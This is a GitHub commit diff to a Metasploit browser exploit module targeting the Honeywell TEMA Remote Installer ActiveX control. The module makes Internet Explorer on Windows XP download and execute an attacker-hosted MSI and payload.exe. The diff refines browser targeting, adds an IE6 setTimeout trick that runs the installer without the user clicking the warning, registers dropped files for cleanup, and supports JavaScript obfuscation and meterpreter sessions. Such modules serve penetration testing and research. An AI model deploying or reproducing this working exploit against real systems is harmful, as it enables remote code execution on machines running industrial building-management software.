Skip to content

Commit 0e475df

Browse files
author
jvazquez-r7
committed
improvements and testing
1 parent b2575f0 commit 0e475df

File tree

1 file changed

+26
-18
lines changed

1 file changed

+26
-18
lines changed

modules/exploits/windows/browser/honeywell_tema_exec.rb

Lines changed: 26 additions & 18 deletions
Original file line numberDiff line numberDiff line change
@@ -22,7 +22,8 @@ def initialize(info={})
2222
Installer. This ActiveX control can be abused by using the DownloadFromURL()
2323
function to install an arbitrary MSI from a remote location without checking source
2424
authenticity or user notification. This module has been tested successfully with
25-
the Remote Installer ActiveX installed with HoneyWell EBI R410.1 - TEMA 5.3.0.
25+
the Remote Installer ActiveX installed with HoneyWell EBI R410.1 - TEMA 5.3.0 and
26+
Internet Explorer 6, 7 and 8 on Windows XP SP3.
2627
},
2728
'License' => MSF_LICENSE,
2829
'Author' =>
@@ -64,11 +65,6 @@ def initialize(info={})
6465
], self.class)
6566
end
6667

67-
def exploit
68-
@msi_name = rand_text_alpha(5 + rand(5)) + ".msi"
69-
super
70-
end
71-
7268
def on_new_session(session)
7369
if session.type == "meterpreter"
7470
session.core.use("stdapi") unless session.ext.aliases.include?("stdapi")
@@ -100,7 +96,9 @@ def on_new_session(session)
10096
def on_request_uri(cli, request)
10197
agent = request.headers['User-Agent']
10298

103-
if agent !~ /MSIE \d/ and agent !~ /Tema_RemoteInstaller/
99+
# Windows 7 isn't normally supported because the user won't have write access to the
100+
# %WINDIR%/Temp directory, where the downloaded components are stored.
101+
if not (agent =~ /MSIE \d/ and agent =~ /NT 5\.1/) and agent !~ /Tema_RemoteInstaller/
104102
print_error("Browser not supported: #{agent.to_s}")
105103
send_not_found(cli)
106104
return
@@ -122,26 +120,36 @@ def on_request_uri(cli, request)
122120
source = ::File.open(msi_source, "rb"){|fd| fd.read(fd.stat.size) }
123121
print_status("Sending msi")
124122
send_response(cli, source, {'Content-Type'=>'application/octet-stream'})
125-
register_file_for_cleanup("#{@msi_name}") unless @dropped_files and @dropped_files.include?("#{@msi_name}")
123+
register_file_for_cleanup("ThinClient_TemaKit.msi") unless @dropped_files and @dropped_files.include?("ThinClient_TemaKit.msi")
124+
register_file_for_cleanup("ThinClient_TemaKit.log") unless @dropped_files and @dropped_files.include?("ThinClient_TemaKit.log")
126125
return
127126
end
128127

129-
# The 'setTimeout' trick allows to execute the installer even if the user doesn't click the popup
130-
# warning when downloading the payload.
131-
# <object id="obj" classid="clsid:E01DF79C-BE0C-4999-9B13-B5F7B2306E9B">
132-
js = <<-EOS
133-
var obj = new ActiveXObject('Tema_RemoteInstaller.RemoteInstaller');
134-
setTimeout(function(){obj.DownloadFromURL('#{get_uri}/#{@msi_name}');},1000);
135-
obj.DownloadFromURL('#{get_uri}/payload.exe');
136-
EOS
137-
js.gsub!(/\t\t/, "")
128+
if agent =~ /MSIE 6/
129+
# The 'setTimeout' trick allows to execute the installer on IE6 even if the user
130+
# doesn't click the warning popup when downloading the payload.
131+
# The ThinClient_TemaKit.msi installer name must be static.
132+
# <object id="obj" classid="clsid:E01DF79C-BE0C-4999-9B13-B5F7B2306E9B">
133+
js = <<-EOS
134+
var obj = new ActiveXObject('Tema_RemoteInstaller.RemoteInstaller');
135+
setTimeout("obj.DownloadFromURL('#{get_uri}/ThinClient_TemaKit.msi');", 1000);
136+
obj.DownloadFromURL('#{get_uri}/payload.exe');
137+
EOS
138+
else
139+
js = <<-EOS
140+
var obj = new ActiveXObject('Tema_RemoteInstaller.RemoteInstaller');
141+
obj.DownloadFromURL('#{get_uri}/payload.exe');
142+
obj.DownloadFromURL('#{get_uri}/ThinClient_TemaKit.msi');
143+
EOS
144+
end
145+
146+
js.gsub!(/\t\t\t/, "")
138147

139148
if datastore['OBFUSCATE']
140149
js = ::Rex::Exploitation::JSObfu.new(js)
141150
js.obfuscate
142151
end
143152

144-
145153
html = <<-EOS
146154
<html>
147155
<body>

0 commit comments

Comments
 (0)